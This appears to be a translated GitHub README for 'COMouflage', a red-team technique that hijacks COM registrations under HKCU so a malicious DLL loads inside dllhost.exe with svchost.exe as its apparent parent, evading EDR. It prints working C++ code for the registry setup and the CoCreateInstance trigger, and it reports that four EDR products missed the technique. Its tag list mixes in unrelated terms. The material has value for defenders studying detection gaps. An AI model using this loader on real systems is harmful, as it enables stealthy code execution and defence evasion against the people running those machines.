zero2504/COMouflage
GitHub: zero2504/COMouflage
利用 Windows COM DLL 代理机制实现隐蔽的进程注入,通过伪造以 svchost.exe 为父进程的进程树来规避 EDR 检测。
Stars: 169 | Forks: 18
# COMouflage
# 基于 COM 的 DLL 代理注入
## 摘要
本文分析了一种复杂的注入技术,该技术利用组件对象模型 (COM) 和 DLL 代理进程执行隐蔽的代码。与主要关注持久化的传统 COM 劫持方法不同,该技术利用代理托管功能来实现进程注入,并具有多项操作优势,包括父进程伪装和缩减的检测 footprint。
## 1. 简介
组件对象模型 (COM) 劫持作为一种持久化机制,在 MITRE ATT&CK 框架中已被广泛记录。本文将探讨基于 COM 的 DLL 代理注入的技术机制。
## 2. 技术背景
### 2.1 什么是 COM?
组件对象模型 (COM) 是一项 Microsoft 技术,它允许软件组件之间进行通信,而无需考虑创建它们所使用的编程语言。COM 对象由称为类标识符 (CLSIDs) 的全局唯一标识符 (GUIDs) 进行标识,并且可以通过多种机制实例化,包括:
- **进程内服务器**(加载到调用进程中的 DLL)
- **进程外服务器**(独立的可执行进程)
- **代理进程**(系统提供的、用于基于 DLL 的 COM 对象的宿主)
### 2.2 理解 dllhost.exe 与 DLL 代理
`dllhost.exe` 是一个合法的 Windows 系统进程,充当实现为 DLL 的 COM 对象的代理宿主。这种机制被称为“DLL Surrogate”,它允许基于 DLL 的 COM 对象在独立的进程空间中运行,从而提供:
- **进程隔离**:保护调用应用程序免受 DLL 崩溃的影响
- **安全边界**:启用不同的安全上下文
- **稳定性**:防止不稳定的 DLL 影响父进程
该代理通过注册表项进行配置,特别是 AppID 注册表键下的 `DllSurrogate` 值。
## 3. 攻击技术分析
### 3.1 针对 HKCU 劫持的注册表操作
该技术通过在 `HKEY_CURRENT_USER` 而不是 `HKEY_LOCAL_MACHINE` 中创建特定的注册表项来运作,这提供了以下几个优势:
1. **所需权限降低**:无需管理员权限
2. **针对特定用户**:仅影响当前用户上下文
3. **隐蔽性**:与 HKLM 的修改相比,被监控的可能性较小
#### 创建的注册表结构:
```
HKCU\Software\Classes\AppID\{CLSID}
├── (Default) = "MyStealthObject"
└── DllSurrogate = ""
HKCU\Software\Classes\CLSID\{CLSID}
├── (Default) = "MyStealthObject"
├── AppID = "{CLSID}"
└── InprocServer32\
├── (Default) = "C:\Path\To\Malicious.dll"
└── ThreadingModel = "Apartment"
```
### 3.2 进程树伪装
当恶意的 COM 对象使用 `CLSCTX_LOCAL_SERVER` 实例化时,Windows 会自动启动 `dllhost.exe` 作为代理进程。这创建了一个具有欺骗性的进程树:
```
svchost.exe (COM+ System Application)
└── dllhost.exe /Processid:{CLSID}
└── [Malicious DLL loaded in-process]
```
**主要优势:**
- 父进程显示为 `svchost.exe`,这是一个高度受信任的系统进程
- 发起攻击的恶意进程并不是注入目标的直接父进程
- 标准的父子进程监控可能会错过真实的攻击链
## 4. 详细代码分析
### 4.1 CLSID 定义与常量
```
static const wchar_t* CLSID_STR = L"{F00DBABA-2504-2025-2016-666699996666}";
```
该技术以一个自定义的 CLSID(类标识符)开始,它是一个唯一标识 COM 对象的 128 位 GUID。这个特定的 CLSID 经过精心构造,既显得独特,又避免了与合法系统组件发生冲突。其格式遵循标准的 GUID 结构:`{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}`。
### 4.2 注册表操作函数
```
bool SetRegStr(HKEY root, const std::wstring& key,
const std::wstring& name, const std::wstring& val) {
HKEY h;
if (RegCreateKeyExW(root, key.c_str(), 0, nullptr,
REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &h, nullptr) != ERROR_SUCCESS)
return false;
if (RegSetValueExW(h,
name.empty() ? nullptr : name.c_str(),
0, REG_SZ,
(const BYTE*)val.c_str(),
DWORD((val.size() + 1) * sizeof(wchar_t))) != ERROR_SUCCESS)
{
RegCloseKey(h);
return false;
}
RegCloseKey(h);
return true;
}
```
**技术分解:**
1. **`RegCreateKeyExW`**:使用 `KEY_WRITE` 权限创建或打开指定的注册表键
2. **错误处理**:每个注册表操作都包含适当的错误检查
3. **`REG_OPTION_NON_VOLATILE`**:确保注册表键在重启后依然保留 -> 可以通过 **`REG_OPTION_VOLATILE`** 进行更改(存储在内存中,在相应的注册表配置单元卸载时不会保留)
### 4.3 AppID 注册表配置
```
std::wstring appidKey = LR"(Software\Classes\AppID\)" + std::wstring(CLSID_STR);
if (!SetRegStr(HKEY_CURRENT_USER, appidKey, L"", L"MyStealthObject") ||
!SetRegStr(HKEY_CURRENT_USER, appidKey, L"DllSurrogate", L""))
```
**关键分析:**
- **AppID 键结构**:`HKCU\Software\Classes\AppID\{CLSID}`
- **默认值**:“MyStealthObject” 作为描述性名称
- **`DllSurrogate` = “”**:空字符串至关重要 - 它指示 Windows 使用默认的 `dllhost.exe` 作为代理
- **HKCU 与 HKLM 的对比**:用户配置单元无需提权,减少了检测面
### 4.4 CLSID 注册表配置
```
std::wstring clsidKey = LR"(Software\Classes\CLSID\)" + std::wstring(CLSID_STR);
std::wstring inprocKey = clsidKey + LR"(\InprocServer32)";
if (!SetRegStr(HKEY_CURRENT_USER, clsidKey, L"", L"MyStealthObject") ||
!SetRegStr(HKEY_CURRENT_USER, clsidKey, L"AppID", CLSID_STR) ||
!SetRegStr(HKEY_CURRENT_USER, inprocKey, L"", L"C:\\Users\\sample.dll") ||
!SetRegStr(HKEY_CURRENT_USER, inprocKey, L"ThreadingModel", L"Apartment"))
```
**注册表结构说明:**
1. **CLSID 根目录**:`HKCU\Software\Classes\CLSID\{CLSID}`
- 将对象与其 AppID 相关联
- 确立对象身份
1. **InprocServer32 子键**:对 DLL 规范至关重要
- **默认值**:指向恶意 DLL 路径
- **ThreadingModel**:“Apartment” 确保了正确的 COM 线程行为
- **路径选择**:以用户可写入的位置为目标,以避免提权操作
### 4.5 COM 初始化与对象创建
```
HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
if (FAILED(hr)) {
std::wcerr << L"[!] CoInitializeEx: 0x" << std::hex << hr << L"\n";
return 1;
}
CLSID clsid;
hr = CLSIDFromString(const_cast(CLSID_STR), &clsid);
if (FAILED(hr)) {
std::wcerr << L"[!] Invalid CLSID\n";
return 1;
}
```
**技术细节:**
- **`CoInitializeEx`**:为当前线程初始化 COM 库
- **`COINIT_APARTMENTTHREADED`**:单线程单元模型
- **`CLSIDFromString`**:将字符串表示形式转换为二进制的 CLSID 结构
- **错误处理**:HRESULT 检查遵循 COM 最佳实践
### 4.6 关键注入触发器
```
IUnknown* p;
hr = CoCreateInstance(clsid, nullptr,
CLSCTX_LOCAL_SERVER, // Key parameter!
IID_IUnknown,
(void**)&p);
```
**`CLSCTX_LOCAL_SERVER` 的重要性:**
- **进程边界**:强制进行进程外实例化
- **代理触发器**:Windows 自动启动 `dllhost.exe`
- **父进程伪装**:创建 `svchost.exe` → `dllhost.exe` 链
### 4.7 进程流分析
**执行序列:**
1. 在 HKCU 中创建注册表项
2. COM 系统初始化
3. 带有 `CLSCTX_LOCAL_SERVER` 参数调用 `CoCreateInstance`
4. Windows COM 服务控制管理器 (SCM) 处理请求
5. SCM 检测到 `DllSurrogate` 值并启动 `dllhost.exe`
6. `dllhost.exe` 从 `InprocServer32` 加载指定的 DLL
7. 恶意代码在代理进程上下文中执行
**结果:** 恶意 DLL 在 `dllhost.exe` 中运行,并且以 `svchost.exe` 作为表面上的父进程,从而掩盖了真实的攻击向量。
## 5. COMouflage 与 EDR
在此评估中,测试了四种领先的端点检测与响应 (EDR) 解决方案,且未公开供应商身份。目的是评估这些解决方案对基于 COMouflage 的代理执行有何反应。
在测试期间,一种解决方案记录了 `dllhost.exe` 的活动,但未能将其归类为可疑行为,因此没有发出警报。其他解决方案同样未能检测到这种代理执行技术,使得该进程得以运行而未产生任何形式的警告或干预。
这些观察结果突显了多种行业标准平台中存在的重大检测盲区,并强调了现代 EDR 技术需要改进行为分析能力。
## 6. 结论
基于 COM 的 DLL 代理注入代表了传统 COM 劫持技术的演进,通过进程树伪装为攻击者提供了增强的隐蔽能力。该技术依赖于合法的 Windows 功能,使得检测具有挑战性,但如果具备适当的监控和取证意识,这并非不可能。
这项技术突显了理解合法 Windows 机制的重要性,因为这些机制可能会被滥用于恶意目的。
## 7. 参考
[1] https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal
[2] https://learn.microsoft.com/de-de/windows/win32/com/dllsurrogate
[3] https://attack.mitre.org/techniques/T1546/015/
[4] https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
[5] https://learn.microsoft.com/en-us/windows/win32/cossdk/com--threading-models
标签:API接口, APT攻击, COM安全, Conpot, dllhost.exe, DLL Surrogate, DLL注入, DNS 解析, Linux, SSH蜜罐, Windows安全, 中高交互蜜罐, 免杀技术, 嗅探欺骗, 恶意软件开发, 攻击技术, 数据展示, 暴力破解检测, 权限维持, 注册表劫持, 流量审计, 父进程欺骗, 私有化部署, 红队, 组件对象模型, 进程注入, 防御规避